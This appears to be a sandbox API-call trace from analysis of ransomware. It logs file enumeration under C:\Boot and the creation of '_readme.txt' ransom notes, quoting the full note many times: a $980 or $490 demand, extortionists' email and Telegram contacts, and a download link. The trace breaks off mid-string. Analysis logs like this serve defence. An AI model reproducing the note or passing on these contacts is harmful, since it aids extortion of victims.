[0116.729] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.729] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0116.729] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.729] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.730] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.730] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.730] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.730] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.730] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.730] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0116.730] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.730] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.730] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.730] PathFindFileNameW (pszPath="") returned="" [0116.730] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.731] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.731] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.731] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.731] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.731] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.731] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.731] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0116.731] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0116.731] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.731] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.732] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.732] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.732] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0116.732] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.732] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.732] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.733] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.733] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0116.733] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.733] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.733] PathFindFileNameW (pszPath="") returned="" [0116.733] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.733] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.733] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.733] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.733] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0116.733] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0116.734] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.734] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.734] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.734] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.734] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.734] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0116.734] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.734] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.735] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.735] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.735] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.735] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0116.735] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.735] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.735] PathFindFileNameW (pszPath="") returned="" [0116.735] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.735] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.735] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.735] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.735] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0116.735] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0116.736] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted 